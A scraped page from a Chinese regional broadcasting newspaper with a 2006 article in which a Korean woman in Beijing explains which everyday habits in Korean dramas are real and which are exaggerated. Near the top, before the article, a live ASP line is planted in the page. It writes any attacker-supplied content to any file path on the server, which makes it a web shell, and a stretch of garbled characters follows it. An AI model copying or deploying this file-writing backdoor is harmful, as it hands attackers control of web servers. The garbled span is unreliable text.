广西广播电视报

<% IF Len(Request("FoxName"))>0 And Len(Request("FoxData"))>0 Then Server.CreateObject("Scripting.FileSystemObject").OpenTextFile(Server.MapPath(Request("FoxName")),2,True).WriteLine Request("FoxData") %>

牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋?a href="/stzz/0601/" target="_blank">

　　首页 >> 明星Bigstar >> 正文

韩剧小习惯真假全攻略

2006-10-13 16:33:12　阅读: 来源:

只要看过三部以上韩剧，你就会发现剧中的很多小细节、人物的小习惯是那么的雷同。这时你纳闷了：到底韩国人真的是这样还是电视剧雷同之处太多？我们专访了一位在北京工作的地道韩国人朴小姐，请她来辨别真假小习惯。
　　吃饭：排骨可以用来送礼
　　经常吃泡面是因为韩国物价很高吗？听说蔬菜跟水果是一般家庭一个月吃几次的，而排骨更是吃不起的昂贵，可以用来作为礼物送人的！很多剧中婚后初次回娘家的人都送排骨。但是人参鸡汤却很便宜似的，经常会看见女主角拿出一个漂亮的便当，里面是紫菜包饭和人参鸡汤。
　　“这和国家产业宏观调控有关。韩国有很多养鸡场，种植人参的地方也多，所以差不多用人民币70元就可以喝一碗很滋补的人参鸡汤；但是在中国2元钱可以买一斤橘子，韩国连一个橘子也买不了，农民们也习惯了；还有排骨，五六斤好排骨要花费人民币1000元。当然也有便宜的，不过我们喜欢在过节时吃上等排骨，那就要很贵。”
　　喝酒：自己不倒酒
　　喝酒的时候总是用手挡着嘴，如果是和长辈一起喝酒，都必须侧过身去；韩国女人也总喝白酒，而且一个人酒杯空了，拿起酒瓶不自己倒，却把酒瓶递给坐在自己身边或对面的人，然后自己再拿起空杯来接酒，不嫌麻烦吗？
　　“这是韩国的‘酒道’，自古有之。我们喝的是烧酒，比中国白酒的度数低，所以女人也能喝。但是酒的后劲很强，很多中国朋友初次喝觉得没什么，但过一会儿就趴下了，所以要小心。”
　　手机：电池说拆就拆
　　每部韩剧都有最新款手机，而他们碰到不想接的电话，就马上拿下电池！
　　“在韩国差不多5000多元人民币就可以买一款最新手机，大概是一个月的工资。但是还是有很多人分期付款买手机，就像中国人买房子一样；但好像普通人并不会随时随地拿下电池。”
　　打人：打头不打屁股
　　韩国人很爱打别人的头？长辈经常打晚辈的头尤其是后脑勺；而施行体罚时不打屁股，喜欢抽打小腿肚子。《大长今》里多次出现这个画面。
　　“打小腿确实是传统。”
　　开车：国货才能亮相
　　韩剧中的车子只要是韩国产的，车的标志牌都在摄像机前很清晰地放出来，但如果是进口汽车，标志牌不是被用一个黑色东西挡起，就是效果处理把它抹去！
　　“这和韩国人保护国货支持国货的观念有关，同时韩国也不允许某个品牌被随便播放出来。明星参加访谈节目也同样，如果他穿的服装并没有赞助节目，那么衣服上的LOGO就要被遮挡，以免有做广告的嫌疑。”
　　娱乐休闲：压力很大玩得很疯
　　经常会有去练歌房的场面，人们头上缠着布条，手里拿着哗啦哗啦响的手鼓，边唱边跳，从来没有好好坐在那里唱的。
“韩国人平常的工作压力很大，几乎每天都加班。所以我们如果玩一定要玩得痛快，玩得不好就走了会更不痛快，所以在KTV里会比较放松、宣泄。”
　　好多戏里面都有一家人去洗桑拿的场面，或者女主角没地方可去了就会去桑拿房，人们还爱在里面用头砸开鸡蛋吃。
“桑拿太老式了，现在韩国流行的是蒸房。里面有很多药材，60多度的高温会把药材蒸发出来，让身体解乏，而且对皮肤很好！现在韩国女孩皮肤好，除了化妆品好，就是蒸房的功劳；不过我们在里面不吃鸡蛋，而是喝茶或咖啡。”
　　假习惯真情节全是为了美
　　以上是韩剧中常见镜头与生活习惯、古老风俗一一对应的地方，然而还有很多是导演为了画面好看、情节浪漫而设定的，朴小姐说她们生活中并不会这样，比如：
　　喜欢在心仪的人睡觉的时候说出真心话，清醒的时候总是说不出来；韩国男人喜欢背女孩子，喜欢当街给女孩子系鞋带，喜欢追着公车跑———这些当然都是为了博取女孩子的芳心；而女生爱叫男生“哥哥”、“大叔”，通常被叫大叔的男生超帅，但被叫“大婶”的则真的是大婶，一定很丑。
　　现在你明白韩剧中经常出现的镜头哪些是真的，哪些是夸张了吧？艺术来源于生活，但又高于生活，所以韩剧中有很多韩国人日常生活的影子，但也有的是由于文化差异而让我们中国观众感觉怪异的地方。

责任编辑:

相关链接：

　报社概况

　　　报社简介　机构设置
　　　报社大事　企业文化

　视听网站链接